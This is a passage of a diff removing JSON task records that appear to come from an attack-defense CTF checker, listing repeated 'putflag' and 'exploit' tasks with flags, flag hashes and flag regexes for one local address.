- "attackInfo": "ac143058-c0d2-4eff-be12-c41fc0dbe661",
- "currentRoundId": 49,
- "flag": null,
- "flagHash": "1d105d6e9f6bdd59307571b585c0e5959238ac24332d52db7287d55fc8f43b0c",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 49,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r49_t0_i0",
- "taskId": 49,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "ac143058-c0d2-4eff-be12-c41fc0dbe661",
- "currentRoundId": 49,
- "flag": null,
- "flagHash": "1d105d6e9f6bdd59307571b585c0e5959238ac24332d52db7287d55fc8f43b0c",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 49,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r49_t0_i0",
- "taskId": 49,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 50,
- "flag": "\ud83e\udd7aiQEfpNyC9ooMAY8QtmG3DI9P0L4W+bZZRZeje6LF2RhWneK4\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 50,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r50_t0_i0",
- "taskId": 50,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 50,
- "flag": "\ud83e\udd7aiQEfpNyC9ooMAY8QtmG3DI9P0L4W+bZZRZeje6LF2RhWneK4\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 50,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r50_t0_i0",
- "taskId": 50,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "xfbawesgzthhxggzblitwzbwlghnyfehxfdrrdpuzjbzrrtficuhvihwbniy",
- "currentRoundId": 50,
- "flag": null,
- "flagHash": "f7d4721b31b3588ed42b64e88b2731ecfb8e6f7d928a090ba7d071fca4043a6b",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 50,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r50_t0_i0",
- "taskId": 50,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "xfbawesgzthhxggzblitwzbwlghnyfehxfdrrdpuzjbzrrtficuhvihwbniy",
- "currentRoundId": 50,
- "flag": null,
- "flagHash": "f7d4721b31b3588ed42b64e88b2731ecfb8e6f7d928a090ba7d071fca4043a6b",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 50,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r50_t0_i0",
- "taskId": 50,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 50,
- "flag": "\ud83e\udd7arDJAarWE39ZhSkAw2yH6u+rHqaElstjFdvYsJJKJfWHpZx+E\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 50,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r50_t0_i1",
- "taskId": 50,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 50,
- "flag": "\ud83e\udd7arDJAarWE39ZhSkAw2yH6u+rHqaElstjFdvYsJJKJfWHpZx+E\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 50,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r50_t0_i1",
- "taskId": 50,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "f90a3f5d-397e-4038-a7ae-936fe0750304",
- "currentRoundId": 50,
- "flag": null,
- "flagHash": "3183ede3ae41631f7f8965ba57fb6226db651fa992fd8891b0d1659427b8d2e7",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 50,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r50_t0_i0",
- "taskId": 50,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "f90a3f5d-397e-4038-a7ae-936fe0750304",
- "currentRoundId": 50,
- "flag": null,
- "flagHash": "3183ede3ae41631f7f8965ba57fb6226db651fa992fd8891b0d1659427b8d2e7",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 50,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r50_t0_i0",
- "taskId": 50,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 51,
- "flag": "ENOIzovgrsdBq0f3kvXFyWgvoCLSIFb9YEmD1R2i0ufeJh9TSbl",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 51,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r51_t0_i0",
- "taskId": 51,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 51,
- "flag": "ENOIzovgrsdBq0f3kvXFyWgvoCLSIFb9YEmD1R2i0ufeJh9TSbl",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 51,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r51_t0_i0",
- "taskId": 51,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "wbmkixwjkxfdmhoppomhcnzgjnyqwwzaboqphyfrehnnwzzixzkizaiuvpmk",
- "currentRoundId": 51,
- "flag": null,
- "flagHash": "e58e7edafaa4b991ee80205f9fe62ab4d0767b1d6b7339ebc1c49fce804f9141",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 51,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r51_t0_i1",
- "taskId": 51,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "wbmkixwjkxfdmhoppomhcnzgjnyqwwzaboqphyfrehnnwzzixzkizaiuvpmk",
- "currentRoundId": 51,
- "flag": null,
- "flagHash": "e58e7edafaa4b991ee80205f9fe62ab4d0767b1d6b7339ebc1c49fce804f9141",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 51,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r51_t0_i1",
- "taskId": 51,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 51,
- "flag": "ENONSusFUKf87dCnXMUgcFZ/kJT1Qsynml7JNYd39aqqPvEl06p",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 51,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r51_t0_i1",
- "taskId": 51,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 51,
- "flag": "ENONSusFUKf87dCnXMUgcFZ/kJT1Qsynml7JNYd39aqqPvEl06p",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 51,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r51_t0_i1",
- "taskId": 51,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "1502af8e-9270-47d7-8a36-f314e6c64312",
- "currentRoundId": 51,
- "flag": null,
- "flagHash": "78d995d3ffc0be10b01e723b9bc78cfed8899bd5f915877e81a1ad351bfd4a66",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 51,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r51_t0_i1",
- "taskId": 51,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "1502af8e-9270-47d7-8a36-f314e6c64312",
- "currentRoundId": 51,
- "flag": null,
- "flagHash": "78d995d3ffc0be10b01e723b9bc78cfed8899bd5f915877e81a1ad351bfd4a66",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 51,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r51_t0_i1",
- "taskId": 51,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 52,
- "flag": "\ud83e\udd7agzybnmF6smWIOo7TLuTZ6Ja9T0ZHux2ip1Px03/SSLrimMze\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 52,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r52_t0_i0",
- "taskId": 52,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 52,
- "flag": "\ud83e\udd7agzybnmF6smWIOo7TLuTZ6Ja9T0ZHux2ip1Px03/SSLrimMze\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 52,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r52_t0_i0",
- "taskId": 52,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "ipwlgwussnqfvogrzfkoyqbansdlvoxzanrtppmegngvzprvivqshasnwoqg",
- "currentRoundId": 52,
- "flag": null,
- "flagHash": "e0d1f312c69549db0db05bd81de7592078cc6eebc10233243401ca073be5f671",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 52,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r52_t0_i1",
- "taskId": 52,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "ipwlgwussnqfvogrzfkoyqbansdlvoxzanrtppmegngvzprvivqshasnwoqg",
- "currentRoundId": 52,
- "flag": null,
- "flagHash": "e0d1f312c69549db0db05bd81de7592078cc6eebc10233243401ca073be5f671",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 52,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r52_t0_i1",
- "taskId": 52,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 52,
- "flag": "\ud83e\udd7a7xL4e3inK04M1g/+Ska1XPJ0f2ZxQ5b0d60S+tYj0WkfYoYT\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 52,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r52_t0_i1",
- "taskId": 52,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 52,
- "flag": "\ud83e\udd7a7xL4e3inK04M1g/+Ska1XPJ0f2ZxQ5b0d60S+tYj0WkfYoYT\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 52,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r52_t0_i1",
- "taskId": 52,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "6ca6e368-8d18-46af-bea7-85e051af9daa",
- "currentRoundId": 52,
- "flag": null,
- "flagHash": "7548a1c247ad10362f6559a9723de03eb9035081dca94f0f6ccceef6b22107e4",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 52,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r52_t0_i1",
- "taskId": 52,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "6ca6e368-8d18-46af-bea7-85e051af9daa",
- "currentRoundId": 52,
- "flag": null,
- "flagHash": "7548a1c247ad10362f6559a9723de03eb9035081dca94f0f6ccceef6b22107e4",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 52,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r52_t0_i1",
- "taskId": 52,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 53,
- "flag": "ENO/K9Y2nxMunZ6Hg6+GaZnPYhueymprEsuIxp8k2M/uB2EZdR8",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 53,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r53_t0_i0",
- "taskId": 53,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 53,
- "flag": "ENO/K9Y2nxMunZ6Hg6+GaZnPYhueymprEsuIxp8k2M/uB2EZdR8",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 53,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r53_t0_i0",
- "taskId": 53,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "wzaqiajeyudnakbtqemesdipqmnevizvftlwbzaxulwugzmgrlqkdxhynsvm",
- "currentRoundId": 53,
- "flag": null,
- "flagHash": "977508d7f94d7329d938ea42261cb53f30df0184aa42e2047db7e8631c1cf040",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 53,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r53_t0_i0",
- "taskId": 53,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "wzaqiajeyudnakbtqemesdipqmnevizvftlwbzaxulwugzmgrlqkdxhynsvm",
- "currentRoundId": 53,
- "flag": null,
- "flagHash": "977508d7f94d7329d938ea42261cb53f30df0184aa42e2047db7e8631c1cf040",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 53,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r53_t0_i0",
- "taskId": 53,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 53,
- "flag": "ENO2XGLx1Wo8BG8xau1DR1/6za5Rpavz0MUQKvoDETvzvVRIuPc",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 53,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r53_t0_i0",
- "taskId": 53,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 53,
- "flag": "ENO2XGLx1Wo8BG8xau1DR1/6za5Rpavz0MUQKvoDETvzvVRIuPc",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 53,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r53_t0_i0",
- "taskId": 53,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "tuzwnwnsvscdetywedpgprcwbnrwirhieqfykeysvctoarmrxefqpcrrvvew",
- "currentRoundId": 53,
- "flag": null,
- "flagHash": "41ed6e8738e51ac2a10f72dfed002d99ab6fc61b37698c9edebe3487c1fde8a2",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 53,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r53_t0_i1",
- "taskId": 53,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "tuzwnwnsvscdetywedpgprcwbnrwirhieqfykeysvctoarmrxefqpcrrvvew",
- "currentRoundId": 53,
- "flag": null,
- "flagHash": "41ed6e8738e51ac2a10f72dfed002d99ab6fc61b37698c9edebe3487c1fde8a2",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 53,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r53_t0_i1",
- "taskId": 53,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 54,
- "flag": "\ud83e\udd7agicXSitDd1RqM5cFsL/d5a2MwKKxYSe4huoNCniMrJF33/ku\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 54,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r54_t0_i0",
- "taskId": 54,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 54,
- "flag": "\ud83e\udd7agicXSitDd1RqM5cFsL/d5a2MwKKxYSe4huoNCniMrJF33/ku\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 54,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r54_t0_i0",
- "taskId": 54,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "fgrgtdnqnvsefbyvfcdwibgftsotxlzjxjzzahrktfuezikiwmftxqvoojgg",
- "currentRoundId": 54,
- "flag": null,
- "flagHash": "c5752dea1a1553f7d697e7dc4ffcaefdb70b1419521eaaa39b3a59965fb47a54",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 54,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r54_t0_i0",
- "taskId": 54,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "fgrgtdnqnvsefbyvfcdwibgftsotxlzjxjzzahrktfuezikiwmftxqvoojgg",
- "currentRoundId": 54,
- "flag": null,
- "flagHash": "c5752dea1a1553f7d697e7dc4ffcaefdb70b1419521eaaa39b3a59965fb47a54",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 54,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r54_t0_i0",
- "taskId": 54,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 54,
- "flag": "\ud83e\udd7aOBdB+aCiJ/5q2afWa81nIcLsPbmP+dTSQV45aMveBAO/TOXX\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 54,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r54_t0_i0",
- "taskId": 54,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 54,
- "flag": "\ud83e\udd7aOBdB+aCiJ/5q2afWa81nIcLsPbmP+dTSQV45aMveBAO/TOXX\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 54,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r54_t0_i0",
- "taskId": 54,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "fjjuahqbpfhbxlptnnznwdqcaljaevzjerikktxslmbfhxglaieuvetaftwe",
- "currentRoundId": 54,
- "flag": null,
- "flagHash": "36ef7f2e2e18a2e7e499d52a5110e915e65f4a83fa2c7d5200f80f449d78a4ef",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 54,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r54_t0_i1",
- "taskId": 54,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "fjjuahqbpfhbxlptnnznwdqcaljaevzjerikktxslmbfhxglaieuvetaftwe",
- "currentRoundId": 54,
- "flag": null,
- "flagHash": "36ef7f2e2e18a2e7e499d52a5110e915e65f4a83fa2c7d5200f80f449d78a4ef",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 54,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r54_t0_i1",
- "taskId": 54,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 55,
- "flag": "ENO9lDVpj7bzgrGVU8JR/CoNq+yl0ee+JrRi+QxN9BQAuVO4L1b",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 55,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r55_t0_i1",
- "taskId": 55,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 55,
- "flag": "ENO9lDVpj7bzgrGVU8JR/CoNq+yl0ee+JrRi+QxN9BQAuVO4L1b",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 55,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r55_t0_i1",
- "taskId": 55,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "5f8a3b29-a730-4134-9e65-8c8cc902145f",
- "currentRoundId": 55,
- "flag": null,
- "flagHash": "a3e78cebce807d362bf715db663bfa567cf47bba85cd6a8111351c2733a483c7",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 55,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r55_t0_i0",
- "taskId": 55,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "5f8a3b29-a730-4134-9e65-8c8cc902145f",
- "currentRoundId": 55,
- "flag": null,
- "flagHash": "a3e78cebce807d362bf715db663bfa567cf47bba85cd6a8111351c2733a483c7",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 55,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r55_t0_i0",
- "taskId": 55,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 55,
- "flag": "ENOPWhVwI+aHXc9yesW4LvLFdYJDyZSdVctA6A2mkMvgMfIryCK",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 55,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r55_t0_i1",
- "taskId": 55,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 55,
- "flag": "ENOPWhVwI+aHXc9yesW4LvLFdYJDyZSdVctA6A2mkMvgMfIryCK",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 55,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r55_t0_i1",
- "taskId": 55,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "77400827-bbed-4238-beea-234ea535c61a",
- "currentRoundId": 55,
- "flag": null,
- "flagHash": "8b4762042da1f4e82161c8d6c1be00233a5155494ab5e990233fecd44efd41bb",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 55,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r55_t0_i1",
- "taskId": 55,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "77400827-bbed-4238-beea-234ea535c61a",
- "currentRoundId": 55,
- "flag": null,
- "flagHash": "8b4762042da1f4e82161c8d6c1be00233a5155494ab5e990233fecd44efd41bb",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 55,
